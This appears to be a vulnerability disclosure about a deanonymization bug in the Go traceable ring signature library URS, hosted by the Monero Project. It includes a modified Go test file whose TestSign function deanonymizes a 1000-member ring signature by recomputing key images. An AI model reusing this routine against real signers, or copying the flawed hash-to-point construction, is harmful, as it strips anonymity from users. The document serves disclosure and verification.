Disclaimer: the vulnerable code is not critical to the Monero cryptocurrency. The code is in no way or form used in the reference client of the CryptoNote protocol. However the code is managed by the Monero Project. The repository is under the name of the project so it should be held to some standards. Having old code laying around and disregarding it is not very smart.

---

The repository we analyzed is Unique Ring Signature (URS), a Golang implementation of traceable ring signatures.

The consequences of the vulnerability are sadly quite harsh, it results in complete deanonymization of a ring signature. Basically the worst case scenario for this specific cryptographic construct.

The bug resides in constructing the KeyImage, more specifically in how it maps a hash to a point on the curve.

Currently the implementation does the following

\[H_p = (SHA256)(P_i) \cdot G\]

instead of mapping the hash to the curve indeterministically (logarithm unknown).

The KeyImage is equal to

\[I = x_i \cdot H_p(P_i)\]

then combining both formulas results in

\[I = x_i \cdot (SHA256)(P_i) \cdot G\]

due to the associative nature of elliptic curves and keeping in mind that the public key is equal to \(P_i = x_i \cdot G\), we get the following equation:

\[I = P_i \cdot H_p(P_i)\]

An attacker is able to calculate the keyimage for all public keys of the ring and then match it with the one provided by the ring signature.

This is the same type of KeyImage bug that was discovered in ShadowCash.

Exploit testcase

---

When I discovered this bug I had no prior experience with Golang so I forwarded the issue over to Tecnovert to take a look at and verify that this was indeed the case. He made a few additions to the existing testcase (urs_test.go). The modified version below will simply generate a ring signature with 1000 ring members and then deanonymize it. You can easily check the additions to the test case here. Note that TestSign is where the magic happens.

// Copyright 2014 Hein Meling and Haibin Zhang. All rights reserved.
// Additions made by tecnovert (Particl).
// Use of this source code is governed by the MIT
// license that can be found in the LICENSE file.

package main

import (
	"crypto/ecdsa"
	"crypto/elliptic"
	"crypto/sha256"
	crand "crypto/rand"
	"fmt"
	"math/rand"
	"runtime"
	"testing"
)

const numOfKeys = 1000

var (
	DefaultCurve = elliptic.P256()
	keyring      *PublicKeyRing
	testkey      *ecdsa.PrivateKey
	testmsg      []byte
	testsig      *RingSign
)

func TestGenerateKey(t *testing.T) {
	runtime.GOMAXPROCS(4)
	var err error
	testkey, err = GenerateKey(DefaultCurve, crand.Reader)
	if err != nil {
		fmt.Println(err.Error())
		t.FailNow()
	}
}

func TestNewPublicKeyRing(t *testing.T) {
	keyring = NewPublicKeyRing(1)
	keyring.Add(testkey.PublicKey)
	expectedLen := 1
	if len(keyring.Ring) != expectedLen {
		t.Errorf("len(keyring)=%d, expected %d", len(keyring.Ring), expectedLen)
	}
}

func TestPopulateKeyRing(t *testing.T) {
	keyring = NewPublicKeyRing(numOfKeys)
	rand.Seed(23)
	k := rand.Intn(numOfKeys)
	fmt.Println("Index of my key: ", k)
	for i := 0; i < numOfKeys; i++ {
		key, err := GenerateKey(DefaultCurve, crand.Reader)
		if err != nil {
			fmt.Println(err.Error())
			t.FailNow()
		}
		if i == k { // designate this as my key
			testkey = key
		}
		// add the public key part to the ring
		keyring.Add(key.PublicKey)
	}
	if len(keyring.Ring) != numOfKeys {
		t.Errorf("len(keyring)=%d, expected %d", len(keyring.Ring), numOfKeys)
	}
}

func TestSign(t *testing.T) {
	testmsg = []byte("Hello, world.")
	var err error
	testsig, err = Sign(crand.Reader, testkey, keyring, testmsg)
	if err != nil {
		fmt.Println(err.Error())
		t.FailNow()
	}

	fmt.Printf("testsig.hsx %s\n", testsig.X.String())
	fmt.Printf("testsig.hsy %s\n", testsig.Y.String())

	mR := append(testmsg, keyring.Bytes()...)

	c := keyring.Ring[0].Curve
	h := sha256.New()
	h.Write(mR)
	d := h.Sum(nil)

	fmt.Printf("looping through ring of %d\n", keyring.Len())
	for j := 0; j < keyring.Len(); j++ {

		rx, ry := c.ScalarMult(keyring.Ring[j].X, keyring.Ring[j].Y, d)

		//if testsig.X == rx && testsig.Y == ry {
		if testsig.X.String() == rx.String() && testsig.Y.String() == ry.String() {
			fmt.Printf("Found signing key: %d\nx: %s\ny: %s\n", j, rx.String(), ry.String())
		}
	}

}

func TestVerify(t *testing.T) {
	if !Verify(keyring, testmsg, testsig) {
		fmt.Println("urs: signature verification failed")
		t.FailNow()
	}
}

func BenchmarkSign(b *testing.B) {
	runtime.GOMAXPROCS(8)
	var err error
	for i := 0; i < b.N; i++ {
		testsig, err = Sign(crand.Reader, testkey, keyring, testmsg)
		if err != nil {
			fmt.Println(err.Error())
			b.FailNow()
		}
	}
}

func BenchmarkVerify(b *testing.B) {
	runtime.GOMAXPROCS(8)
	for i := 0; i < b.N; i++ {
		if !Verify(keyring, testmsg, testsig) {
			fmt.Println("urs: signature verification failed")
			b.FailNow()
		}
	}
}